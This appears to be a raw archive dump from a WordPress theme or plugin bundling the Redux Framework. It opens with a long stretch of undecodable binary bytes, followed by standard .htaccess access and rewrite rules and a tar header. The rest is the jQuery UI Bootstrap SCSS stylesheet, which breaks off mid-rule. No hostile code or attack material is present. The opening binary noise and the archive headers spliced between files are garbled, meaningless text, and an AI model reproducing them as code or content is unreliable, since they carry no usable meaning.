E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/css/vendor/jquery-ui-bootstrap/jquery-ui-1.10.0.custom.scss000064400000113174147206624460024665 0ustar00/*! * jQuery UI Bootstrap (0.5) * http://addyosmani.github.com/jquery-ui-bootstrap * * Copyright 2012 - 2013, Addy Osmani * Dual licensed under the MIT or GPL Version 2 licenses. * * Portions copyright jQuery UI & Twitter Bootstrap */ .redux-container, .control-section-redux, .control-panel-redux, .redux-metabox { /* Interaction Cues ----------------------------------*/ .ui-state-disabled { cursor: default !important; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } /* Misc visuals ----------------------------------*/ /* * jQuery UI CSS Framework 1.10.0 * * Copyright 2013, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * * * To view and modify this theme, visit http://jqueryui.com/themeroller/ */ /* Component containers ----------------------------------*/ //.ui-widget { font-size:13px; } //.ui-widget .ui-widget { font-size: 1em; } //.ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-size: 1em; } .ui-widget-content { border: 1px solid #aaaaaa; background: #ffffff url(images/ui-bg_glass_75_ffffff_1x400.png) 50% 50% repeat-x; color: #404040; } //.ui-widget-content a { color: #404040; } .ui-widget-header { font-weight:bold; border-color: #0064cd #0064cd #003f81; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); border:1px solid #666; } .ui-widget-header a { color: #222222; } /* Interaction states ----------------------------------*/ .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { background-color: #e6e6e6; background-repeat: no-repeat; background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), color-stop(25%, #ffffff), to(#e6e6e6)); background-image: -webkit-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: -moz-linear-gradient(top, #ffffff, #ffffff 25%, #e6e6e6); background-image: -ms-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: -o-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0); text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75); color: #333; font-size: 13px; line-height: normal; border: 1px solid #ccc; border-bottom-color: #bbb; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); -webkit-transition: 0.1s linear background-image; -moz-transition: 0.1s linear background-image; -ms-transition: 0.1s linear background-image; -o-transition: 0.1s linear background-image; transition: 0.1s linear background-image; overflow: visible; } .ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #555555; text-decoration: none; } .ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { background-position: 0 -15px; color: #333; text-decoration: none; } .ui-state-hover a, .ui-state-hover a:hover, .ui-state-hover a:link, .ui-state-hover a:visited { color: #212121; text-decoration: none; } .ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #aaaaaa; font-weight: normal; color: #212121; } .ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #212121; text-decoration: none; } .ui-widget :active { outline: none; } /* Interaction Cues ----------------------------------*/ .ui-state-highlight p, .ui-state-error p, .ui-state-default p{ font-size: 13px; font-weight: normal; line-height: 18px; margin:7px 15px; } .ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight { position: relative; margin-bottom: 18px; color: #404040; background-color: #eedc94; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#fceec1), to(#eedc94)); background-image: -moz-linear-gradient(top, #fceec1, #eedc94); background-image: -ms-linear-gradient(top, #fceec1, #eedc94); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #fceec1), color-stop(100%, #eedc94)); background-image: -webkit-linear-gradient(top, #fceec1, #eedc94); background-image: -o-linear-gradient(top, #fceec1, #eedc94); background-image: linear-gradient(top, #fceec1, #eedc94); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fceec1', endColorstr='#eedc94', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #eedc94 #eedc94 #e4c652; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); border-width: 1px; border-style: solid; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); } .ui-state-highlight a, .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a { color: #363636; } .ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error { position: relative; margin-bottom: 18px; color: #ffffff; border-width: 1px; border-style: solid; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25); background-color: #c43c35; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#ee5f5b), to(#c43c35)); background-image: -moz-linear-gradient(top, #ee5f5b, #c43c35); background-image: -ms-linear-gradient(top, #ee5f5b, #c43c35); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #ee5f5b), color-stop(100%, #c43c35)); background-image: -webkit-linear-gradient(top, #ee5f5b, #c43c35); background-image: -o-linear-gradient(top, #ee5f5b, #c43c35); background-image: linear-gradient(top, #ee5f5b, #c43c35); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #c43c35 #c43c35 #882a25; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); } .ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #cd0a0a; } .ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #cd0a0a; } .ui-priority-primary, .ui-widget-content .ui-priority-primary, .ui-widget-header .ui-priority-primary { font-weight: bold; } .ui-priority-secondary, .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); font-weight: normal; } .ui-state-disabled, .ui-widget-content .ui-state-disabled, .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); background-image: none; } .ui-state-disabled .ui-icon { filter:Alpha(Opacity=35); } /* For IE8 - See #6059 */ /* Icons ----------------------------------*/ /* states and images */ .ui-icon { width: 16px; height: 16px; background-image: url(images/ui-icons_222222_256x240.png); } .ui-widget-content .ui-icon {background-image: url(images/ui-icons_222222_256x240.png); } .ui-widget-header .ui-icon {background-image: url(images/ui-icons_222222_256x240.png); } .ui-state-default .ui-icon { background-image: url(images/ui-icons_888888_256x240.png); } .ui-state-hover .ui-icon, .ui-state-focus .ui-icon {background-image: url(images/ui-icons_454545_256x240.png); } .ui-state-active .ui-icon {background-image: url(images/ui-icons_454545_256x240.png); } .ui-state-highlight .ui-icon {background-image: url(images/ui-icons_2e83ff_256x240.png); } .ui-state-error .ui-icon, .ui-state-error-text .ui-icon {background-image: url(images/ui-icons_f6cf3b_256x240.png); } /* positioning */ .ui-icon-carat-1-n { background-position: 0 0; } .ui-icon-carat-1-ne { background-position: -16px 0; } .ui-icon-carat-1-e { background-position: -32px 0; } .ui-icon-carat-1-se { background-position: -48px 0; } .ui-icon-carat-1-s { background-position: -64px 0; } .ui-icon-carat-1-sw { background-position: -80px 0; } .ui-icon-carat-1-w { background-position: -96px 0; } .ui-icon-carat-1-nw { background-position: -112px 0; } .ui-icon-carat-2-n-s { background-position: -128px 0; } .ui-icon-carat-2-e-w { background-position: -144px 0; } .ui-icon-triangle-1-n { background-position: 0 -16px; } .ui-icon-triangle-1-ne { background-position: -16px -16px; } .ui-icon-triangle-1-e { background-position: -32px -16px; } .ui-icon-triangle-1-se { background-position: -48px -16px; } .ui-icon-triangle-1-s { background-position: -64px -16px; } .ui-icon-triangle-1-sw { background-position: -80px -16px; } .ui-icon-triangle-1-w { background-position: -96px -16px; } .ui-icon-triangle-1-nw { background-position: -112px -16px; } .ui-icon-triangle-2-n-s { background-position: -128px -16px; } .ui-icon-triangle-2-e-w { background-position: -144px -16px; } .ui-icon-arrow-1-n { background-position: 0 -32px; } .ui-icon-arrow-1-ne { background-position: -16px -32px; } .ui-icon-arrow-1-e { background-position: -32px -32px; } .ui-icon-arrow-1-se { background-position: -48px -32px; } .ui-icon-arrow-1-s { background-position: -64px -32px; } .ui-icon-arrow-1-sw { background-position: -80px -32px; } .ui-icon-arrow-1-w { background-position: -96px -32px; } .ui-icon-arrow-1-nw { background-position: -112px -32px; } .ui-icon-arrow-2-n-s { background-position: -128px -32px; } .ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } .ui-icon-arrow-2-e-w { background-position: -160px -32px; } .ui-icon-arrow-2-se-nw { background-position: -176px -32px; } .ui-icon-arrowstop-1-n { background-position: -192px -32px; } .ui-icon-arrowstop-1-e { background-position: -208px -32px; } .ui-icon-arrowstop-1-s { background-position: -224px -32px; } .ui-icon-arrowstop-1-w { background-position: -240px -32px; } .ui-icon-arrowthick-1-n { background-position: 0 -48px; } .ui-icon-arrowthick-1-ne { background-position: -16px -48px; } .ui-icon-arrowthick-1-e { background-position: -32px -48px; } .ui-icon-arrowthick-1-se { background-position: -48px -48px; } .ui-icon-arrowthick-1-s { background-position: -64px -48px; } .ui-icon-arrowthick-1-sw { background-position: -80px -48px; } .ui-icon-arrowthick-1-w { background-position: -96px -48px; } .ui-icon-arrowthick-1-nw { background-position: -112px -48px; } .ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } .ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } .ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } .ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } .ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } .ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } .ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } .ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } .ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } .ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } .ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } .ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } .ui-icon-arrowreturn-1-w { background-position: -64px -64px; } .ui-icon-arrowreturn-1-n { background-position: -80px -64px; } .ui-icon-arrowreturn-1-e { background-position: -96px -64px; } .ui-icon-arrowreturn-1-s { background-position: -112px -64px; } .ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } .ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } .ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } .ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } .ui-icon-arrow-4 { background-position: 0 -80px; } .ui-icon-arrow-4-diag { background-position: -16px -80px; } .ui-icon-extlink { background-position: -32px -80px; } .ui-icon-newwin { background-position: -48px -80px; } .ui-icon-refresh { background-position: -64px -80px; } .ui-icon-shuffle { background-position: -80px -80px; } .ui-icon-transfer-e-w { background-position: -96px -80px; } .ui-icon-transferthick-e-w { background-position: -112px -80px; } .ui-icon-folder-collapsed { background-position: 0 -96px; } .ui-icon-folder-open { background-position: -16px -96px; } .ui-icon-document { background-position: -32px -96px; } .ui-icon-document-b { background-position: -48px -96px; } .ui-icon-note { background-position: -64px -96px; } .ui-icon-mail-closed { background-position: -80px -96px; } .ui-icon-mail-open { background-position: -96px -96px; } .ui-icon-suitcase { background-position: -112px -96px; } .ui-icon-comment { background-position: -128px -96px; } .ui-icon-person { background-position: -144px -96px; } .ui-icon-print { background-position: -160px -96px; } .ui-icon-trash { background-position: -176px -96px; } .ui-icon-locked { background-position: -192px -96px; } .ui-icon-unlocked { background-position: -208px -96px; } .ui-icon-bookmark { background-position: -224px -96px; } .ui-icon-tag { background-position: -240px -96px; } .ui-icon-home { background-position: 0 -112px; } .ui-icon-flag { background-position: -16px -112px; } .ui-icon-calendar { background-position: -32px -112px; } .ui-icon-cart { background-position: -48px -112px; } .ui-icon-pencil { background-position: -64px -112px; } .ui-icon-clock { background-position: -80px -112px; } .ui-icon-disk { background-position: -96px -112px; } .ui-icon-calculator { background-position: -112px -112px; } .ui-icon-zoomin { background-position: -128px -112px; } .ui-icon-zoomout { background-position: -144px -112px; } .ui-icon-search { background-position: -160px -112px; } .ui-icon-wrench { background-position: -176px -112px; } .ui-icon-gear { background-position: -192px -112px; } .ui-icon-heart { background-position: -208px -112px; } .ui-icon-star { background-position: -224px -112px; } .ui-icon-link { background-position: -240px -112px; } .ui-icon-cancel { background-position: 0 -128px; } .ui-icon-plus { background-position: -16px -128px; } .ui-icon-plusthick { background-position: -32px -128px; } .ui-icon-minus { background-position: -48px -128px; } .ui-icon-minusthick { background-position: -64px -128px; } .ui-icon-close { background-position: -80px -128px; } .ui-icon-closethick { background-position: -96px -128px; } .ui-icon-key { background-position: -112px -128px; } .ui-icon-lightbulb { background-position: -128px -128px; } .ui-icon-scissors { background-position: -144px -128px; } .ui-icon-clipboard { background-position: -160px -128px; } .ui-icon-copy { background-position: -176px -128px; } .ui-icon-contact { background-position: -192px -128px; } .ui-icon-image { background-position: -208px -128px; } .ui-icon-video { background-position: -224px -128px; } .ui-icon-script { background-position: -240px -128px; } .ui-icon-alert { background-position: 0 -144px; } .ui-icon-info { background-position: -16px -144px; } .ui-icon-notice { background-position: -32px -144px; } .ui-icon-help { background-position: -48px -144px; } .ui-icon-check { background-position: -64px -144px; } .ui-icon-bullet { background-position: -80px -144px; } .ui-icon-radio-off { background-position: -96px -144px; } .ui-icon-radio-on { background-position: -112px -144px; } .ui-icon-pin-w { background-position: -128px -144px; } .ui-icon-pin-s { background-position: -144px -144px; } .ui-icon-play { background-position: 0 -160px; } .ui-icon-pause { background-position: -16px -160px; } .ui-icon-seek-next { background-position: -32px -160px; } .ui-icon-seek-prev { background-position: -48px -160px; } .ui-icon-seek-end { background-position: -64px -160px; } .ui-icon-seek-start { background-position: -80px -160px; } /* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ .ui-icon-seek-first { background-position: -80px -160px; } .ui-icon-stop { background-position: -96px -160px; } .ui-icon-eject { background-position: -112px -160px; } .ui-icon-volume-off { background-position: -128px -160px; } .ui-icon-volume-on { background-position: -144px -160px; } .ui-icon-power { background-position: 0 -176px; } .ui-icon-signal-diag { background-position: -16px -176px; } .ui-icon-signal { background-position: -32px -176px; } .ui-icon-battery-0 { background-position: -48px -176px; } .ui-icon-battery-1 { background-position: -64px -176px; } .ui-icon-battery-2 { background-position: -80px -176px; } .ui-icon-battery-3 { background-position: -96px -176px; } .ui-icon-circle-plus { background-position: 0 -192px; } .ui-icon-circle-minus { background-position: -16px -192px; } .ui-icon-circle-close { background-position: -32px -192px; } .ui-icon-circle-triangle-e { background-position: -48px -192px; } .ui-icon-circle-triangle-s { background-position: -64px -192px; } .ui-icon-circle-triangle-w { background-position: -80px -192px; } .ui-icon-circle-triangle-n { background-position: -96px -192px; } .ui-icon-circle-arrow-e { background-position: -112px -192px; } .ui-icon-circle-arrow-s { background-position: -128px -192px; } .ui-icon-circle-arrow-w { background-position: -144px -192px; } .ui-icon-circle-arrow-n { background-position: -160px -192px; } .ui-icon-circle-zoomin { background-position: -176px -192px; } .ui-icon-circle-zoomout { background-position: -192px -192px; } .ui-icon-circle-check { background-position: -208px -192px; } .ui-icon-circlesmall-plus { background-position: 0 -208px; } .ui-icon-circlesmall-minus { background-position: -16px -208px; } .ui-icon-circlesmall-close { background-position: -32px -208px; } .ui-icon-squaresmall-plus { background-position: -48px -208px; } .ui-icon-squaresmall-minus { background-position: -64px -208px; } .ui-icon-squaresmall-close { background-position: -80px -208px; } .ui-icon-grip-dotted-vertical { background-position: 0 -224px; } .ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } .ui-icon-grip-solid-vertical { background-position: -32px -224px; } .ui-icon-grip-solid-horizontal { background-position: -48px -224px; } .ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } .ui-icon-grip-diagonal-se { background-position: -80px -224px; } /* Misc visuals ----------------------------------*/ /* Corner radius */ .ui-corner-all, .ui-corner-top, .ui-corner-left, .ui-corner-tl { -moz-border-radius-topleft: 4px; -webkit-border-top-left-radius: 4px; -khtml-border-top-left-radius: 4px; border-top-left-radius: 4px; } .ui-corner-all, .ui-corner-top, .ui-corner-right, .ui-corner-tr { -moz-border-radius-topright: 4px; -webkit-border-top-right-radius: 4px; -khtml-border-top-right-radius: 4px; border-top-right-radius: 4px; } .ui-corner-all, .ui-corner-bottom, .ui-corner-left, .ui-corner-bl { -moz-border-radius-bottomleft: 4px; -webkit-border-bottom-left-radius: 4px; -khtml-border-bottom-left-radius: 4px; border-bottom-left-radius: 4px; } .ui-corner-all, .ui-corner-bottom, .ui-corner-right, .ui-corner-br { -moz-border-radius-bottomright: 4px; -webkit-border-bottom-right-radius: 4px; -khtml-border-bottom-right-radius: 4px; border-bottom-right-radius: 4px; } /* Overlays */ .ui-widget-overlay { background: #aaaaaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x; opacity: .30; filter:Alpha(Opacity=30); } .ui-widget-shadow { margin: -8px 0 0 -8px; padding: 8px; background: #aaaaaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x; opacity: .30;filter:Alpha(Opacity=30); -moz-border-radius: 8px; -khtml-border-radius: 8px; -webkit-border-radius: 8px; border-radius: 8px; } /* * jQuery UI Accordion 1.10.0 * * Copyright 2013, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://jqueryui.com/accordion/ */ /* IE/Win - Fix animation bug - #4615 */ .ui-accordion { width: 100%; } .ui-accordion .ui-accordion-header { cursor: pointer; position: relative; margin-top: 1px; zoom: 1; font-weight:bold; } .ui-accordion .ui-accordion-li-fix { display: inline; } .ui-accordion .ui-accordion-header-active { border-bottom: 0 !important; } .ui-accordion .ui-accordion-header a { display: block; font-size: 1em; padding: .5em .5em .5em 1.7em; } .ui-accordion-icons .ui-accordion-header a { padding-left: 2.2em; } .ui-accordion .ui-accordion-header .ui-icon { position: absolute; left: .5em; top: 50%; margin-top: -8px; } .ui-accordion .ui-accordion-content { padding: 1em 2.2em; border-top: 0; margin-top: -2px; position: relative; top: 1px; margin-bottom: 2px; overflow: auto; display: none; zoom: 1; } .ui-accordion .ui-accordion-content-active { display: block; } /* * jQuery UI Button 1.10.0 * * Copyright 2013, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Button#theming */ .ui-button { cursor: pointer; display: inline-block; background-color: #e6e6e6; background-repeat: no-repeat; background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), color-stop(25%, #ffffff), to(#e6e6e6)); background-image: -webkit-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: -moz-linear-gradient(top, #ffffff, #ffffff 25%, #e6e6e6); background-image: -ms-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: -o-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0); padding: 5px 14px 6px; margin: 0; text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75); color: #333; font-size: 13px; line-height: normal; border: 1px solid #ccc; border-bottom-color: #bbb; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); -webkit-transition: 0.1s linear background-image; -moz-transition: 0.1s linear background-image; -ms-transition: 0.1s linear background-image; -o-transition: 0.1s linear background-image; transition: 0.1s linear background-image; overflow: visible; } /* the overflow property removes extra width in IE */ .ui-button-primary { color: #ffffff; background-color: #0064cd; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd)); background-image: -moz-linear-gradient(top, #049cdb, #0064cd); background-image: -ms-linear-gradient(top, #049cdb, #0064cd); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd)); background-image: -webkit-linear-gradient(top, #049cdb, #0064cd); background-image: -o-linear-gradient(top, #049cdb, #0064cd); background-image: linear-gradient(top, #049cdb, #0064cd); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#049cdb', endColorstr='#0064cd', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #0064cd #0064cd #003f81; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); } .ui-button-success{ color:#ffffff; background-color: #57a957; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#62c462), to(#57a957)); background-image: -moz-linear-gradient(top, #62c462, #57a957); background-image: -ms-linear-gradient(top, #62c462, #57a957); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #62c462), color-stop(100%, #57a957)); background-image: -webkit-linear-gradient(top, #62c462, #57a957); background-image: -o-linear-gradient(top, #62c462, #57a957); background-image: linear-gradient(top, #62c462, #57a957); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462', endColorstr='#57a957', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #57a957 #57a957 #3d773d; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); } .ui-button-error{ color:#ffffff; background-color: #c43c35; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#ee5f5b), to(#c43c35)); background-image: -moz-linear-gradient(top, #ee5f5b, #c43c35); background-image: -ms-linear-gradient(top, #ee5f5b, #c43c35); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #ee5f5b), color-stop(100%, #c43c35)); background-image: -webkit-linear-gradient(top, #ee5f5b, #c43c35); background-image: -o-linear-gradient(top, #ee5f5b, #c43c35); background-image: linear-gradient(top, #ee5f5b, #c43c35); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #c43c35 #c43c35 #882a25; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); } .ui-button-icon-only { width: 2.2em; } /* to make room for the icon, a width needs to be set here */ button.ui-button-icon-only { } /* button elements seem to need a little more width */ .ui-button-icons-only { width: 3.4em; } button.ui-button-icons-only { width: 3.7em; } /*button text element */ .ui-button .ui-button-text { display: block; } .ui-button-text-only .ui-button-text { } .ui-button-icon-only .ui-button-text, .ui-button-icons-only .ui-button-text { padding: .4em; text-indent: -9999999px; /*tempfix*/ display:none;} .ui-button-text-icon-primary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 1em .4em 2.1em; } .ui-button-text-icon-secondary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 2.1em .4em 1em; } .ui-button-text-icons .ui-button-text { padding-left: 2.1em; padding-right: 2.1em; } /* no icon support for input elements, provide padding by default */ /* input.ui-button { padding: .4em 1em; } */ /*button icon element(s) */ .ui-button-icon-only .ui-icon, .ui-button-text-icon-primary .ui-icon, .ui-button-text-icon-secondary .ui-icon, .ui-button-text-icons .ui-icon, .ui-button-icons-only .ui-icon { top: 50%; margin-top:-3px; margin-bottom:3px; } .ui-button-icon-only .ui-icon { left: 50%; margin-left: -8px; } .ui-button-text-icon-primary .ui-button-icon-primary, .ui-button-text-icons .ui-button-icon-primary, .ui-button-icons-only .ui-button-icon-primary { left: .5em; } .ui-button-text-icon-secondary .ui-button-icon-secondary, .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } /*button sets*/ .ui-buttonset { margin-right: 7px; } .ui-buttonset .ui-state-active { color: #ffffff; background-color: #0064cd; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd)); background-image: -moz-linear-gradient(top, #049cdb, #0064cd); background-image: -ms-linear-gradient(top, #049cdb, #0064cd); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd)); background-image: -webkit-linear-gradient(top, #049cdb, #0064cd); background-image: -o-linear-gradient(top, #049cdb, #0064cd); background-image: linear-gradient(top, #049cdb, #0064cd); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#049cdb', endColorstr='#0064cd', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #0064cd #0064cd #003f81; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); } .ui-buttonset .ui-button { margin-left: 0; margin-right: 0; } /* workarounds */ button.ui-button::-moz-focus-inner { border: 0; padding: 0; } /* reset extra padding in Firefox */ /* * jQuery UI Datepicker 1.9.0 * * Copyright 2012-10-11, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://jqueryui.com/datepicker/ */ .ui-datepicker { width: 17em; padding: .2em .2em 0; display: none; } .ui-datepicker .ui-datepicker-header { position:relative; padding:.2em 0; border:0px; font-weight: bold; width: 100%; padding: 4px 